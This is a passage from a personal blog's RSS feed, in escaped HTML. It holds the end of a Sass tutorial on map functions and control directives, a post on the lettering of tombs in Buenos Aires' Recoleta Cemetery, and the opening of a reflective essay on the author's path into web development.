    &lt;div class=&quot;th td&quot;&gt;map-get($map, $key)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Returns the value in a map associated with a given key.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;map-merge($map1, $map2)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Merges two maps together into a new map.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;map-remove($map, $keys…)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Returns a new map with keys removed.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;map-keys($map)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Returns a list of all keys in a map.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;map-values($map)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Returns a list of all values in a map.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;map-has-key($map, $key)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Returns whether a map has a value associated with a given key.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;keywords($args)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Returns the keywords passed to a function that takes variable arguments.&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And, you can also use all the list functions with Sass maps as well. So here&apos;s some more stuff you can do with Sass maps.&lt;/p&gt;
&lt;div class=&quot;table sass-maps&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;length($list)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Returns the length of a list.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;nth($list, $n)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Returns a specific item in a list.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;index($list, $value)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Returns the position of a value within a list.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;set-nth($list, $n, $value)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Replaces the nth item in a list.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;join($list1, $list2, [$separator])&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Joins together two lists into one.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;append($list1, $val, [$separator])&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Appends a single value onto the end of a list.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;zip($lists…)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Combines several lists into a single multidimensional list.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;list-separator($list)&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Returns the separator of a list.&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Sass control directives&lt;/h2&gt;
&lt;p&gt;Every introduction to programming course or tutorial I&apos;ve encountered covers directives. It&apos;s fundamental to injecting some logic into your programs. And also helps us write less code. CSS itself does not support control directives because it is a stylesheet language.&lt;/p&gt;
&lt;h3&gt;@if&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;@if&lt;/code&gt; directive evaluates the SassScript expression and uses the styles nested within the declaration if it returns anything other than &lt;code&gt;false&lt;/code&gt; or &lt;code&gt;null&lt;/code&gt;. The &lt;code&gt;@if&lt;/code&gt; statement can be followed by &lt;code&gt;@else if&lt;/code&gt; statements or just an &lt;code&gt;@else&lt;/code&gt; statement so some kind of logic can be built into your styles.&lt;/p&gt;
&lt;p&gt;For example, this is a function that returns either a dark text colour or a light text colour depending on the colour value used as the function&apos;s parameter.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;@function text-colour($colour) {
  @if (lightness($colour) &amp;gt; 49) {
    @return #000; // Lighter background, return dark color
  } @else {
    @return #fff; // Darker background, return light color
  }
}

// Usage
.element {
  background-color: #000;
  color: text-colour(#000);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;@for&lt;/h3&gt;
&lt;p&gt;We can write loops using the &lt;code&gt;@for&lt;/code&gt; directive. The number of times the loop is run is determined by a counter variable. There are 2 ways to write this directive, note the difference in keywords used.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;// includes the values of &amp;amp;lt;start&amp;amp;gt; and &amp;amp;lt;end&amp;amp;gt;
@for $var from &amp;amp;lt;start&amp;amp;gt; through &amp;amp;lt;end&amp;amp;gt;

// runs up to but not including the value of &amp;amp;lt;end&amp;amp;gt;
@for $var from &amp;amp;lt;start&amp;amp;gt; to &amp;amp;lt;end&amp;amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The counter variable can be used in the CSS declaration as well, useful for selectors which are numerically incremented, or nth-child selectors.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;@for $i from 1 through 3 {
  .item-#{$i} {
    width: 2em * $i;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* compiles into */
.item-1 {
  width: 2em;
}

.item-2 {
  width: 4em;
}

.item-3 {
  width: 6em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;@while&lt;/h3&gt;
&lt;p&gt;If you don&apos;t want to write a for loop, SassScript allows you to write a while loop. The nested styles within the &lt;code&gt;@while&lt;/code&gt; directive will be output until the expression evaluates to false. For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;$i: 9;
@while $i &amp;gt; 0 {
  .item-#{$i} {
    width: 1em * $i;
  }
  $i: $i - 3;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* compiles into */
.item-9 {
  width: 9em;
}

.item-6 {
  width: 6em;
}

.item-3 {
  width: 3em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Honestly, I never used the &lt;code&gt;@while&lt;/code&gt; directive before simply because I haven&apos;t encountered an use case for it yet.&lt;/p&gt;
&lt;h3&gt;@each&lt;/h3&gt;
&lt;p&gt;Now this I like to use a lot, and is the main point of this article. The &lt;code&gt;@each&lt;/code&gt; directive is pretty flexible in that it can set the value of a variable &lt;code&gt;$var&lt;/code&gt; to each item in a list or map, then output the styles within the declaration using that variable. The general syntax is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;@each $var in &amp;amp;lt;list or map&amp;amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The thing is, it can take multiple variables, ideal for use in Sass maps. For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;$colours: (
  green: #7ed321,
  red: #ff595e,
  yellow: #f8e81c,
  blue: #4990e2,
  purple: #db61f4,
);

:root {
  @each $name, $colour in $colours {
    --#{$name}: $colour;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* compiles into */
:root {
  --green: #7ed321;
  --red: #ff595e;
  --yellow: #f8e81c;
  --blue: #4990e2;
  --purple: #db61f4;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Over-engineering much?&lt;/h2&gt;
&lt;p&gt;All that being said, my original problem was to re-use the same colours Sass map to generate the background colours for my set of elements, while using nth-child selectors that were programmatically generated based on the number of colours in the map. Meaning if I added more colours to the map, I didn&apos;t have to change anything else.&lt;/p&gt;
&lt;p&gt;This was implemented in I came up with this for the implementation of my recently deployed &lt;a href=&quot;https://huijing.github.io/demos/&quot;&gt;Demos landing page&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;@each $name, $colour in $colours {
  section:nth-child(#{length($colours)}n + #{index(($colours), ($name $colour))}) {
    background-color: $colour;
    background-color: colour($name);
    mix-blend-mode: color-dodge;

    a:hover {
      background-color: #444;
      color: $colour;
      color: colour($name);
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let me try to explain this. &lt;code&gt;#{length($colours)}&lt;/code&gt; gives us the total number of colours in the map, while &lt;code&gt;#{index(($colours), ($name $colour))}&lt;/code&gt; returns the index of the named colour in the map. Together, they form the nth-child selector &lt;code&gt;𝓍n + 𝓍&lt;/code&gt;, where 𝓍 is the number of colours in the map.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Is this the right way to do things? I have no idea. Does it work? Yes. So I&apos;m a bit torn about this. Though it was a fun exercise to learn more about Sass functions. If you have any feedback, I&apos;d love to hear it.&lt;/p&gt;
&lt;p&gt;I&apos;m fairly confident there&apos;s a much better way to get this done , as proven by my latest &lt;a href=&quot;https://codepen.io/huijing/full/vZeyVP/&quot;&gt;CodePen of the Malaysian national flag&lt;/a&gt;, where the one and only &lt;a href=&quot;https://twitter.com/anatudor&quot;&gt;Ana Tudor&lt;/a&gt; forked my pen and &lt;a href=&quot;https://codepen.io/thebabydino/full/VWMzqM/&quot;&gt;made it 10x better&lt;/a&gt;! She also made a &lt;a href=&quot;https://www.youtube.com/watch?v=VlLmUNbwdMQ&quot;&gt;screencast of the process&lt;/a&gt;. &lt;em&gt;#internetisawesome&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Further resources&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://sass-lang.com/documentation/file.SASS_REFERENCE.html&quot;&gt;Sass official documentation&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=kZOJCVvyF-4&quot;&gt;Lea Verou: CSS Variables: var(–subtitle)&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://madebymike.com.au/writing/using-css-variables/&quot;&gt;Using CSS variables correctly&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://una.im/local-css-vars/&quot;&gt;Locally Scoped CSS Variables: What, How, and Why&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tympanus.net/codrops/css_reference/custom-properties/&quot;&gt;Codrops CSS reference: Custom Properties&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>The typefaces of Recoleta</title><link>https://chenhuijing.com/blog/typography-of-recoleta/</link><guid isPermaLink="true">https://chenhuijing.com/blog/typography-of-recoleta/</guid><description>I have a soft spot for stone engravings and whenever I get the chance to travel to a location that has some sort of cemetery or burial ground that is open to…</description><pubDate>Sun, 25 Jun 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;I have a soft spot for stone engravings and whenever I get the chance to travel to a location that has some sort of cemetery or burial ground that is open to the public, I will go check it out. This will probably become a series, so here&apos;s the first entry.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I went to Argentina for vacation last year and it was splendid. One of the places we went was the &lt;a href=&quot;https://turismo.buenosaires.gob.ar/en/otros-establecimientos/recoleta-cemetery&quot;&gt;Cementerio de la Recoleta&lt;/a&gt; in Buenos Aires. Originally the garden of &lt;a href=&quot;http://www.basilicadelpilar.org.ar/&quot;&gt;Basílica Nuestra Señora del Pilar&lt;/a&gt;, it became the city&apos;s first public cemetery back in 17 November 1822, and was designed by French engineer, Próspero Catelin.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/argentina/recoleta-640.jpg&quot;
  srcset=&quot;/images/posts/argentina/recoleta-480.jpg 480w, /images/posts/argentina/recoleta-640.jpg 640w, /images/posts/argentina/recoleta-960.jpg 960w, /images/posts/argentina/recoleta-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;The Recoleta Cemetery&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;This isn&apos;t just any ordinary cemetery, in fact, it&apos;s the grandest final resting place I&apos;ve ever seen thus far. The entire cemetery is laid out like a city, with ornate mausoleums lining the &amp;quot;streets&amp;quot;, each with their own unique architectural style. There were plenty of angels and crosses, even gargoyles, adorning the crypts. And what caught my eye were the wide range of font styles used for engraving plaques, or directly etched into the facade itself.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/argentina/tombs-640.jpg&quot;
  srcset=&quot;/images/posts/argentina/tombs-480.jpg 480w, /images/posts/argentina/tombs-640.jpg 640w, /images/posts/argentina/tombs-960.jpg 960w, /images/posts/argentina/tombs-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;A walkway in Recoleta Cemetery&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;The cemetery itself had modest beginnings when Próspero Catelin was brought in to work on it, introducing the cemetery&apos;s city-style streets and blocks. The Recoleta district was transformed from a working class area to an upper-class neighbourhood after a terrible yellow fever epidemic in 1870. Recoleta, which was on a higher terrain, had less of the disease-carrying insects, but only the upper-class families had the means to move there.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/argentina/entrance-640.jpg&quot;
  srcset=&quot;/images/posts/argentina/entrance-480.jpg 480w, /images/posts/argentina/entrance-640.jpg 640w, /images/posts/argentina/entrance-960.jpg 960w, /images/posts/argentina/entrance-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Entrance to Recoleta&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;However, as victims who died from the epidemic were not allowed to be buried there, the cemetery gradually fell into disrepair. In 1881, the cemetery was renovated and remodelled by Italian architect Juan Antonio Buschiazzo to a neoclassical style, including the grand front entrance with Doric columns. From then on, the mausoleums started to get grander and more elaborate as the city&apos;s elite started to move in.&lt;/p&gt;
&lt;p&gt;Most of these tombs are architectural masterpieces, many adorned with crosses, statues of winged angels, some with cathedral-style domes and spires. There were various different architectural styles ranging from Neo-Classical to Baroque to Art Nouveau to Modernist. The entire cemetery was laid out like a city, with blocks, walkways and sidewalks that allowed access to each mausoleum.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Spot the gargoyle&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/argentina/tomb1.jpg&quot; srcset=&quot;/images/posts/argentina/tomb1@2x.jpg 2x&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Tombs can have bell towers too&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/argentina/tomb2.jpg&quot; srcset=&quot;/images/posts/argentina/tomb2@2x.jpg 2x&quot; /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;h2&gt;Typographic observations&lt;/h2&gt;
&lt;p&gt;Serifs on stone engravings seem like the most natural combination, like wine and cheese or tea and mooncakes. There have been &lt;a href=&quot;https://books.google.com.sg/books?id=oHNtDQAAQBAJ&amp;amp;pg=PA24&amp;amp;lpg=PA24&amp;amp;dq=origin+of+serifs&amp;amp;source=bl&amp;amp;ots=kDt23rt6Ds&amp;amp;sig=GLNSxFg6qX8wvnfH3I7y4am_44Y&amp;amp;hl=en&amp;amp;sa=X&amp;amp;ved=0ahUKEwi176_D6NLUAhXEso8KHSIMAJw4ChDoAQg8MAc#v=onepage&amp;amp;q=origin%20of%20serifs&amp;amp;f=false&quot;&gt;several theories proposed&lt;/a&gt; on the origins of serifs. The inking theory suggests serifs were added to repair extra ink instances on straight lines, while the carving theory posits that widening the ends of straight lines on engravings compensates for the illusion of bulging in the middle.&lt;/p&gt;
&lt;p&gt;And tombs, being mostly made of some kind of stone, have serif inscriptions in spades. But again, Recoleta has such a diverse range of styles that are evident from just the serifs alone. I also noticed more classical designs had text engraved into the stone, while engravings in relief tended to appear on the more modern designs.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;A condensed old-style&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/old-school.jpg&quot;
      srcset=&quot;/images/posts/argentina/old-school@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Looks like a transitional&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/old-school2.jpg&quot;
      srcset=&quot;/images/posts/argentina/old-school2@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;The modern designs tended to use more metals in the designs of the tombs themselves as well. I&apos;m not too familiar with the craft of engraving, but I would think that in relief takes more effort in terms of finishing? Somebody please enlighten me on this.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Old-style in relief&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/modern2.jpg&quot;
      srcset=&quot;/images/posts/argentina/modern2@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Feels a little off-balance to me though&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/modern.jpg&quot;
      srcset=&quot;/images/posts/argentina/modern@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Shallow engravings usually showed up on dark stone finishes, probably so the lighter tone of the original stone would provide enough contrast for the letters.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Light on dark&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/shallow2.jpg&quot;
      srcset=&quot;/images/posts/argentina/shallow2@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Dark on light&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/shallow.jpg&quot;
      srcset=&quot;/images/posts/argentina/shallow@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Here are a few more serif styles.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;The rivets make it steam-punkish&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/argentina/random.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;I really like this one&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/random2.jpg&quot;
      srcset=&quot;/images/posts/argentina/random2@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Flourishes weren&apos;t all that common though. I guess they might come across as too over-the-top for a tomb? But what do I know? This one actually doesn&apos;t look like an engraving, rather, it seems like bronze letters set into marble.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/argentina/flourish.jpg&quot; alt=&quot;Bronze letters set in marble&quot;&gt;&lt;/p&gt;
&lt;p&gt;Some of the serifs I considered “fancy”, because I don&apos;t have a better word to describe them &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;pensive face&quot;&gt;😔&lt;/span&gt;, but the letter forms are more stylised on these.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Ooo..ball terminals&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/fancy2.jpg&quot;
      srcset=&quot;/images/posts/argentina/fancy2@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Look at that A&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/fancy3.jpg&quot;
      srcset=&quot;/images/posts/argentina/fancy3@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Thought the E was an A at first&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/argentina/fancy.jpg&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;Speaking of relief engraving, there were more of them in sans than in serif. After all this, I really want to meet someone who does engraving, or knows someone who does. I have so many questions! So far, I&apos;ve managed to find a website for hand engravers, called &lt;a href=&quot;http://www.igraver.com/&quot;&gt;iGraver&lt;/a&gt;, but it&apos;ll be nice to chat with an engraver in person.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Could work on a fashion magazine&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/classy.jpg&quot;
      srcset=&quot;/images/posts/argentina/classy@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Modern style tomb&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/classy2.jpg&quot;
      srcset=&quot;/images/posts/argentina/classy2@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Geometric Sans on stone&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/framed.jpg&quot;
      srcset=&quot;/images/posts/argentina/framed@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Sans and serif&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/framed2.jpg&quot;
      srcset=&quot;/images/posts/argentina/framed2@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Is it easier to do relief engraving for sans-serifs? Does it boil down to the tools being used? Or is it a design thing, where sans-serifs are suited for modern materials?&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Counter-relief&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/insetsans.jpg&quot;
      srcset=&quot;/images/posts/argentina/insetsans@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Possibly limestone&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/argentina/stone.jpg&quot; srcset=&quot;/images/posts/argentina/stone@2x.jpg 2x&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Name plate&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/plated.jpg&quot;
      srcset=&quot;/images/posts/argentina/plated@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;I also came across a few unique typefaces that really stood out. I guess a tomb can be considered an artistic expression to commemorate those who have passed, which is why every tomb is so unique.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;I consider this a display font&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/egyptian.jpg&quot;
      srcset=&quot;/images/posts/argentina/egyptian@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Feels kinda Egyptian&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/argentina/egyptian2.jpg&quot;
      srcset=&quot;/images/posts/argentina/egyptian2@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Has a very personal touch&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/argentina/handwritten.jpg&quot;
    srcset=&quot;/images/posts/argentina/handwritten@2x.jpg 2x&quot;
  /&gt;
&lt;/figure&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;As a Chinese person, visiting the cemetery is an annual affair. For me, it&apos;s actually more of a family gathering than the Chinese New Year, as we see much of the extended family during the &lt;a href=&quot;http://penangmonthly.com/article.aspx?pageid=4121&amp;amp;name=qing_ming_paying_respects_renewing_ties&quot;&gt;Qing Ming festival&lt;/a&gt;. But it&apos;s a very different feeling, visiting a Chinese cemetery versus a European (might be more accurate to say Catholic?) one.&lt;/p&gt;
&lt;p&gt;I really like wandering around cemeteries by myself, there&apos;s a reverent silence that is a stark contrast to the bustle of daily life that puts me in a pensive mood, as well as a chance to appreciate how different cultures commemorate those who have passed.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.buenosaires.gob.ar/laciudad/barrios/recoleta&quot;&gt;Recoleta&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20180930153855/https://mysendoff.com/2012/10/the-recoleta-cemetery-the-city-within-a-city/&quot;&gt;The Recoleta Cemetery: The City Within A City&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://wander-argentina.com/recoleta-cemetery/&quot;&gt;Recoleta Cemetery Buenos Aires Prestigious Burial Ground&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://u-in-u.com/art-destinations/argentina/buenos-aires/more-places/cementerio-recoleta/&quot;&gt;La Recoleta Cemetery&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.worldcat.org/title/ciudad-de-angeles-historia-del-cementerio-de-la-recoleta/oclc/49411769&quot;&gt;Ciudad de angeles: historia del cementerio de la Recoleta&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Reflecting on this web developer journey</title><link>https://chenhuijing.com/blog/reflecting-on-this-web-developer-journey/</link><guid isPermaLink="true">https://chenhuijing.com/blog/reflecting-on-this-web-developer-journey/</guid><description>I&apos;m typing this up as I&apos;m sitting at the airport, on my way to St Petersburg, Russia to speak at pitercss conference and it still seems slightly surreal to me.…</description><pubDate>Sun, 11 Jun 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;m typing this up as I&apos;m sitting at the airport, on my way to St Petersburg, Russia to speak at &lt;a href=&quot;https://pitercss.com/&quot;&gt;pitercss conference&lt;/a&gt; and it still seems slightly surreal to me. If you are one of a handful of people who actually read the things I write, you might have gleaned that I haven&apos;t been doing this very long. This being the web develop-y stuff that I like to write about.&lt;/p&gt;
&lt;p&gt;Saddle-up, this is going to be a lengthy non-technical post. You have been warned.&lt;/p&gt;
&lt;p&gt;I&apos;m about three decades in now, and I can kind of see a few milestone decisions that have impacted the life I have right now. The one decision that set all this into motion was made when I was seventeen. That I wanted to play basketball at as high a level as I could get to. In a society that valued academic qualifications, I suppose some may see it as a ludicrous decision (but not me, I would do it a thousand times over &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;).&lt;/p&gt;
&lt;h2&gt;The sister (family, in general)&lt;/h2&gt;
&lt;p&gt;And yes, I am known to be a stubborn person, but I attribute my conviction to my older sister. To say my sister is exceptional, is an understatement. She was brilliant in school, seemingly without much effort on her part, articulate and very much a people person. Even though I am seven years younger than her, she never talked down to me.&lt;/p&gt;
&lt;p&gt;Everyone expected her to do the whole medical school thing that Asian families tend to gravitate toward, but she said no. She decided to become an Occupational Therapist instead, because she knew that was what she wanted to do with her life. I was barely out of primary school when this happened, but I think it left quite a lasting impression on me.&lt;/p&gt;
&lt;p&gt;This is a grave generalisation, but the typical life roadmap for an Asian kid is, go to school, get good grades, graduate University, get a respectable job, get married, buy a house and car, have 2.5 kids. My sister said nope, and happily went off the beaten path on her merry way.&lt;/p&gt;
